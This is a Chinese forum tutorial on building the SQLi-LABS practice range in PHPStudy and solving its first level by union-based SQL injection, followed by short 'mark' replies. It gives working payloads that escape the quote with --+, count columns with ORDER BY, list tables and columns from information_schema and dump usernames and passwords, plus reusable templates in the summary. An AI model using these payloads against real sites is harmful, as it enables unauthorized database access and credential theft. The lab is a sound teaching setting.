首页
社区
课程
招聘
[原创]sql注入靶场搭建及注入实验
发表于: 2020-4-22 09:53 1072

[原创]sql注入靶场搭建及注入实验

2020-4-22 09:53
1072

sql注入靶场搭建及注入实验

1. 靶场搭建

1.1开启PHP Study并启动相关服务


1.2 创建本地网站

(1)第3步需要添加靶场的路径。

(2)第4步PHP版本需要选择5.4.45


1.3 打开靶场网站

(1)点击管理选择列表中的打开网站



1.4 解决setup/reset database出现的问题


(1)此处地方还需要配置一下靶场的mysql连接文件


(2)此处打开db-creds.inc文件填入PHP Study数据库的数据库名、账户和密码(鼠标挪上去即可看到)



(3)填写好后回到php study的网站管理处重新打开网站


(4)打开网站后选择Setup/reset Database for labs初始化一下数据库



2. 开始注入实验

下面使用渗透版的火狐浏览器进行注入实验。

在网站页面中点击SQLi-LABS Page-1(Basic Challenges) 或者滑轮往下移即可看到22关sql注入的入口


2.1第一关注入实验

描述:请输入一个名为id的参数,并且带上值。


2.1.1 常规操作

(1) 点击“Load URL” 可将地址栏的url复制粘贴到下面的方框。

(2) url后面加上参数“?id=1”

(3) 点击Execule开始执行请求操作

(4) 响应结果


2.1.2 实现代码逃逸操作

(1)测试在id值后面增加单引号以此来报错从而找到sql语句中id值的单引号。


如源码中id值后面的单引号


那么如果为了顺利在id值后面增加单引号的话,我们可以使用--+(其中—为注释符,而+号在mysql中代表的是空格)符号来屏蔽原来sql语句中id值后面的单引号,从而实现代码逃逸。在此环境下可以加入我们所需要的字段进行请求。

(2)此时我们再此加入单引号进行查询,此次没有报错,其实后面增加的--+只是注释了id值后面单引号sql语句内容,从而在url中增加单引号也可以回显成功。从而也实现了代码逃逸。



2.1.3 测试得出表中字段的个数

(1)使用order by进行个数排序得到正确的字段个数

此时10个字段进行排序,结果未能正常显示


第二/三次使用5/4个字段进行排序,结果仍然未能正常显示



第四次使用3个字段进行排序,结果能正常显示了,那么表示该表中含有3个字段。


2.1.4 查看数据库信息

(1)查询数据库名称、用户信息和数据库版本信息




(2)使用拼接符查看数据库中所有的表信息

url: http://ip:8888/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+


(3)使用拼接符查看数据库中users表的所有字段信息

url: http://ip:8888/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_--+


如果由于字段过多未能显示完全则可通过F12审查页面的元素来查找。



2.1.5 获取users表中所有的账号和密码信息

   其他表获取账户密码信息操作大同小异。

url: http://ip:8888/Less-1/?id=-1' union select 1,group_concat(username,0x7e,password),3 from users--+



3.总结

(1) 首先需要定位到参数的值后面是否需要单引号来实现代码逃逸.
(2) 进行字段个数排序得出字段真实的个数.
(3) 查询所有表信息.
例子:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库名'
(4) 最后查询/获取目标表的信息
例子:
查询:union select 1,group_concat(column_name),3 from information_schema.columns where table_
获取:union select 1,group_concat(用户名,0x7e,密码),3 from 表名--+


[课程]Android-CTF解题方法汇总!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 310
活跃值: (2227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark
2020-5-12 22:57
0
雪    币: 182
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark
2020-5-27 11:04
0
雪    币: 22
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
mark
2020-5-28 08:52
0
雪    币: 11
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
mark
2020-7-11 10:37
0
游客
登录 | 注册 方可回帖
返回
//